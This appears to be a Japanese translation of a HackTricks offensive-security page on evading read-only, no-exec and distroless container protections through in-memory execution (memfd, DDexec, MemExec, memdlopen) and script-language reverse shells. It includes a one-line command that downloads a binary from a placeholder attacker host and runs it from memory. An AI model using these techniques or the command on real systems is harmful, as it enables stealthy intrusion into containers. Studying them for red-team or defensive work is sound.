.. | ||
ddexec.md | ||
README.md |
FS保護のバイパス:読み取り専用 / 実行不可 / Distroless
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
動画
以下の動画では、このページで説明されているテクニックについて詳しく説明しています:
- DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion
- Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023
読み取り専用 / 実行不可のシナリオ
読み取り専用(ro)ファイルシステム保護が、特にコンテナ内でLinuxマシンによく見られるようになっています。これは、securitycontext
で**readOnlyRootFilesystem: true
**を設定するだけで、roファイルシステムでコンテナを実行できるためです。
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
しかし、ファイルシステムがroとしてマウントされていても、/dev/shm
は書き込み可能なままですので、ディスクに何も書き込むことはできます。ただし、このフォルダは実行不可の保護でマウントされているため、ここにバイナリをダウンロードしても実行することはできません。
{% hint style="warning" %}
レッドチームの観点からすると、これにより、システムに既に存在しないバイナリ(バックドアやkubectl
のような列挙子など)をダウンロードして実行するのが困難になります。
{% endhint %}
最も簡単なバイパス:スクリプト
バイナリと言及しましたが、インタープリタがマシン内にある限り、シェルスクリプト(sh
が存在する場合)やPythonスクリプト(python
がインストールされている場合)など、任意のスクリプトを実行できます。
ただし、これだけではバイナリバックドアや他のバイナリツールを実行するのには十分ではありません。
メモリバイパス
ファイルシステムが実行を許可していない場合にバイナリを実行したい場合、最も良い方法は、メモリから実行することです。なぜなら、保護はそこには適用されないからです。
FD + execシスコールバイパス
Python、Perl、Rubyなどの強力なスクリプトエンジンがマシン内にある場合、バイナリをメモリにダウンロードして実行することができます。これは、メモリファイルディスクリプタ(create_memfd
シスコール)に保存し、これらの保護によって保護されないため、exec
シスコールを呼び出す際にfdを実行するファイルとして指定します。
これには、プロジェクトfileless-elf-execを簡単に使用できます。バイナリを渡すと、バイナリを圧縮してb64エンコードし、create_memfd
シスコールを呼び出して作成されたfdにデコードして解凍する指示とともに、指定された言語のスクリプトを生成します。そして、それを実行するためにexecシスコールを呼び出します。
{% hint style="warning" %}
これは、PHPやNodeなどの他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシスコールを呼び出すデフォルトの方法がないため、バイナリを保存するためのメモリfdを作成するためにcreate_memfd
を呼び出すことができないからです。
さらに、/dev/shm
内のファイルを持つ通常のfdを作成しても機能しないため、実行不可の保護が適用されるため実行できません。
{% endhint %}
DDexec / EverythingExec
DDexec / EverythingExecは、**/proc/self/mem
**を上書きすることで、自分自身のプロセスのメモリを変更する技術です。
したがって、プロセスが実行しているアセンブリコードを制御することで、シェルコードを書き込み、プロセスを任意のコードを実行するように「変異」させることができます。
{% hint style="success" %} DDexec / EverythingExecを使用すると、メモリから自分自身のシェルコードまたは任意のバイナリをロードして実行することができます。 {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
詳細な情報については、Githubまたは以下を参照してください:
{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}
MemExec
Memexecは、DDexecの自然な次のステップです。これはDDexecシェルコードをデーモン化したものであり、異なるバイナリを実行するたびにDDexecを再起動する必要はありません。代わりに、DDexecのテクニックを使用してmemexecシェルコードを実行し、このデーモンと通信して新しいバイナリをロードして実行することができます。
https://github.com/arget13/memexec/blob/main/a.phpには、memexecを使用してPHPリバースシェルからバイナリを実行する例があります。
Memdlopen
DDexecと同様の目的を持つmemdlopenテクニックは、メモリにバイナリをロードして後で実行するための簡単な方法を提供します。これにより、依存関係を持つバイナリをロードすることも可能になります。
Distroless Bypass
Distrolessとは
Distrolessコンテナには、パッケージマネージャ、シェル、システムユーティリティなどのより大きなコンポーネントを除外し、ライブラリやランタイムの依存関係など、特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネントのみが含まれています。
Distrolessコンテナの目標は、不要なコンポーネントを排除することでコンテナの攻撃面を減らし、悪用される可能性のある脆弱性の数を最小限に抑えることです。
リバースシェル
Distrolessコンテナでは、通常のシェルを取得するためにsh
やbash
が見つからない場合があります。また、通常システムで実行するls
、whoami
、id
などのバイナリも見つかりません。
{% hint style="warning" %} したがって、通常どおりにリバースシェルを取得したりシステムを列挙したりすることはできません。 {% endhint %}
ただし、侵害されたコンテナが例えばflask webを実行している場合、Pythonがインストールされており、したがってPythonリバースシェルを取得することができます。Nodeが実行されている場合はNodeリバースシェルを取得でき、ほとんどのスクリプト言語でも同様です。
{% hint style="success" %} スクリプト言語を使用することで、言語の機能を利用してシステムを列挙することができます。 {% endhint %}
読み取り専用/実行不可の保護がない場合、リバースシェルを悪用してバイナリをファイルシステムに書き込み、実行することができます。
{% hint style="success" %} ただし、この種のコンテナでは通常これらの保護が存在するため、以前のメモリ実行技術を使用してこれらをバイパスすることができます。 {% endhint %}
https://github.com/carlospolop/DistrolessRCEには、スクリプト言語のリバースシェルを取得し、メモリからバイナリを実行するためのいくつかのRCE脆弱性を悪用する例があります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo および hacktricks-cloud repo にPRを提出してください。